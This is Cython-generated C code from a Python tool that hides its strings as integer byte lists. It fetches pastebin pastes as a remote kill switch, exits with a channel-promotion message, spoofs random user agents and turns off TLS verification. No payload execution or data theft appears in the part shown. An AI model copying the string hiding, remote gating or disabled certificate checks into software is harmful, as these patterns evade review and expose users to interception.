  __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_1, __pyx_n_s_UserAgent); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 15, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_UserAgent, __pyx_t_2) < 0) __PYX_ERR(0, 15, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;

  
  __pyx_t_1 = PyList_New(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 16, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  __Pyx_INCREF(__pyx_n_s_render);
  __Pyx_GIVEREF(__pyx_n_s_render);
  PyList_SET_ITEM(__pyx_t_1, 0, __pyx_n_s_render);
  __Pyx_INCREF(__pyx_n_s_say);
  __Pyx_GIVEREF(__pyx_n_s_say);
  PyList_SET_ITEM(__pyx_t_1, 1, __pyx_n_s_say);
  __pyx_t_2 = __Pyx_Import(__pyx_n_s_cfonts, __pyx_t_1, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 16, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_render); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 16, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_render, __pyx_t_1) < 0) __PYX_ERR(0, 16, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_say); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 16, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_say, __pyx_t_1) < 0) __PYX_ERR(0, 16, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;

  
  __pyx_t_2 = __Pyx_Import(__pyx_n_s_requests, 0, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 17, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_requests, __pyx_t_2) < 0) __PYX_ERR(0, 17, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;

  
  __pyx_t_2 = __Pyx_Import(__pyx_n_s_os, 0, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 18, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_os, __pyx_t_2) < 0) __PYX_ERR(0, 18, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;

  
  __pyx_t_2 = __Pyx_Import(__pyx_n_s_sys, 0, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 19, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_sys, __pyx_t_2) < 0) __PYX_ERR(0, 19, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;

  
  __pyx_t_2 = PyList_New(4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 20, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __Pyx_INCREF(__pyx_int_71);
  __Pyx_GIVEREF(__pyx_int_71);
  PyList_SET_ITEM(__pyx_t_2, 0, __pyx_int_71);
  __Pyx_INCREF(__pyx_int_56);
  __Pyx_GIVEREF(__pyx_int_56);
  PyList_SET_ITEM(__pyx_t_2, 1, __pyx_int_56);
  __Pyx_INCREF(__pyx_int_74);
  __Pyx_GIVEREF(__pyx_int_74);
  PyList_SET_ITEM(__pyx_t_2, 2, __pyx_int_74);
  __Pyx_INCREF(__pyx_int_78);
  __Pyx_GIVEREF(__pyx_int_78);
  PyList_SET_ITEM(__pyx_t_2, 3, __pyx_int_78);
  __pyx_t_1 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 20, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  __pyx_t_2 = __Pyx_decode_bytes(__pyx_t_1, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 20, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_opm, __pyx_t_2) < 0) __PYX_ERR(0, 20, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;

  
  __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_requests); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_get); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 22, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __pyx_t_3 = 0;
  __pyx_t_4 = 127;
  __Pyx_INCREF(__pyx_kp_u_https_pastebin_com_raw_3);
  __pyx_t_3 += 26;
  __Pyx_GIVEREF(__pyx_kp_u_https_pastebin_com_raw_3);
  PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u_https_pastebin_com_raw_3);
  __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_opm); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 22, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __pyx_t_6 = __Pyx_PyObject_FormatSimple(__pyx_t_5, __pyx_empty_unicode); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 22, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_4 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) > __pyx_t_4) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) : __pyx_t_4;
  __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_6);
  __Pyx_GIVEREF(__pyx_t_6);
  PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_6);
  __pyx_t_6 = 0;
  __Pyx_INCREF(__pyx_n_u_v3i);
  __pyx_t_3 += 3;
  __Pyx_GIVEREF(__pyx_n_u_v3i);
  PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_n_u_v3i);
  __pyx_t_6 = __Pyx_PyUnicode_Join(__pyx_t_2, 3, __pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 22, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_text); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 22, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_url, __pyx_t_6) < 0) __PYX_ERR(0, 22, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;

  
  __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_requests); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 23, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 23, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  __pyx_t_6 = PyTuple_New(3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 23, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __pyx_t_3 = 0;
  __pyx_t_4 = 127;
  __Pyx_INCREF(__pyx_kp_u_https_pastebin_com_raw_9);
  __pyx_t_3 += 26;
  __Pyx_GIVEREF(__pyx_kp_u_https_pastebin_com_raw_9);
  PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_kp_u_https_pastebin_com_raw_9);
  __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_opm); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 23, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_t_1, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 23, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  __pyx_t_4 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) > __pyx_t_4) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) : __pyx_t_4;
  __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_5);
  __Pyx_GIVEREF(__pyx_t_5);
  PyTuple_SET_ITEM(__pyx_t_6, 1, __pyx_t_5);
  __pyx_t_5 = 0;
  __Pyx_INCREF(__pyx_n_u_v1k);
  __pyx_t_3 += 3;
  __Pyx_GIVEREF(__pyx_n_u_v1k);
  PyTuple_SET_ITEM(__pyx_t_6, 2, __pyx_n_u_v1k);
  __pyx_t_5 = __Pyx_PyUnicode_Join(__pyx_t_6, 3, __pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 23, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 23, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_text); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 23, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_url3, __pyx_t_5) < 0) __PYX_ERR(0, 23, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 24, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_69);
  __Pyx_GIVEREF(__pyx_int_69);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_69);
  __Pyx_INCREF(__pyx_int_78);
  __Pyx_GIVEREF(__pyx_int_78);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_78);
  __Pyx_INCREF(__pyx_int_68);
  __Pyx_GIVEREF(__pyx_int_68);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_68);
  __Pyx_INCREF(__pyx_int_84);
  __Pyx_GIVEREF(__pyx_int_84);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_84);
  __Pyx_INCREF(__pyx_int_73);
  __Pyx_GIVEREF(__pyx_int_73);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_73);
  __Pyx_INCREF(__pyx_int_77);
  __Pyx_GIVEREF(__pyx_int_77);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_77);
  __Pyx_INCREF(__pyx_int_69);
  __Pyx_GIVEREF(__pyx_int_69);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_69);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 24, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 24, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_url); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 24, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __pyx_t_7 = (__Pyx_PySequence_ContainsTF(__pyx_t_5, __pyx_t_6, Py_EQ)); if (unlikely(__pyx_t_7 < 0)) __PYX_ERR(0, 24, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  __pyx_t_8 = (__pyx_t_7 != 0);
  if (__pyx_t_8) {

    
    __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_os); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 25, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_6);
    __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_system); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 25, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
    __pyx_t_6 = PyList_New(5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 25, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_6);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_6, 0, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_6, 1, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_6, 2, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_6, 3, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_6, 4, __pyx_int_114);
    __pyx_t_2 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 25, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
    __pyx_t_6 = __Pyx_decode_bytes(__pyx_t_2, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 25, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_6);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 25, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;

    
    goto __pyx_L2;
  }

  
  /*else*/ {
    __pyx_t_2 = PyList_New(0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 27, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 27, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_6);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __pyx_t_2 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 27, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
    __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_builtin_print, __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 27, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_6);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;

    
    __pyx_t_6 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_tuple__2, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 28, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_6);
    __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;

    
    __pyx_t_6 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_tuple__3, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 29, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_6);
    __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_sys); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 30, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_6);
    __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_exit); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 30, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
    __pyx_t_6 = PyList_New(27); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 30, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_6);
    __Pyx_INCREF(__pyx_int_77);
    __Pyx_GIVEREF(__pyx_int_77);
    PyList_SET_ITEM(__pyx_t_6, 0, __pyx_int_77);
    __Pyx_INCREF(__pyx_int_121);
    __Pyx_GIVEREF(__pyx_int_121);
    PyList_SET_ITEM(__pyx_t_6, 1, __pyx_int_121);
    __Pyx_INCREF(__pyx_int_32);
    __Pyx_GIVEREF(__pyx_int_32);
    PyList_SET_ITEM(__pyx_t_6, 2, __pyx_int_32);
    __Pyx_INCREF(__pyx_int_67);
    __Pyx_GIVEREF(__pyx_int_67);
    PyList_SET_ITEM(__pyx_t_6, 3, __pyx_int_67);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_6, 4, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_6, 5, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_6, 6, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_6, 7, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_6, 8, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_6, 9, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_6, 10, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_32);
    __Pyx_GIVEREF(__pyx_int_32);
    PyList_SET_ITEM(__pyx_t_6, 11, __pyx_int_32);
    __Pyx_INCREF(__pyx_int_58);
    __Pyx_GIVEREF(__pyx_int_58);
    PyList_SET_ITEM(__pyx_t_6, 12, __pyx_int_58);
    __Pyx_INCREF(__pyx_int_32);
    __Pyx_GIVEREF(__pyx_int_32);
    PyList_SET_ITEM(__pyx_t_6, 13, __pyx_int_32);
    __Pyx_INCREF(__pyx_int_77);
    __Pyx_GIVEREF(__pyx_int_77);
    PyList_SET_ITEM(__pyx_t_6, 14, __pyx_int_77);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_6, 15, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_6, 16, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_6, 17, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_6, 18, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_84);
    __Pyx_GIVEREF(__pyx_int_84);
    PyList_SET_ITEM(__pyx_t_6, 19, __pyx_int_84);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_6, 20, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_6, 21, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_76);
    __Pyx_GIVEREF(__pyx_int_76);
    PyList_SET_ITEM(__pyx_t_6, 22, __pyx_int_76);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_6, 23, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_6, 24, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_6, 25, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_32);
    __Pyx_GIVEREF(__pyx_int_32);
    PyList_SET_ITEM(__pyx_t_6, 26, __pyx_int_32);
    __pyx_t_5 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 30, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
    __pyx_t_6 = __Pyx_decode_bytes(__pyx_t_5, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 30, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_6);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 30, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  }
  __pyx_L2:;

  
  __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_user_agent); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 35, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_generate_user_agent); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 35, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 35, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_user, __pyx_t_5) < 0) __PYX_ERR(0, 35, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_requests); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 37, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_session); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 37, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 37, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_r, __pyx_t_5) < 0) __PYX_ERR(0, 37, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_r); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 39, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  if (__Pyx_PyObject_SetAttrStr(__pyx_t_5, __pyx_n_s_follow_redirects, Py_True) < 0) __PYX_ERR(0, 39, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_r); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 41, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  if (__Pyx_PyObject_SetAttrStr(__pyx_t_5, __pyx_n_s_verify, Py_False) < 0) __PYX_ERR(0, 41, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 44, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 44, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 44, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
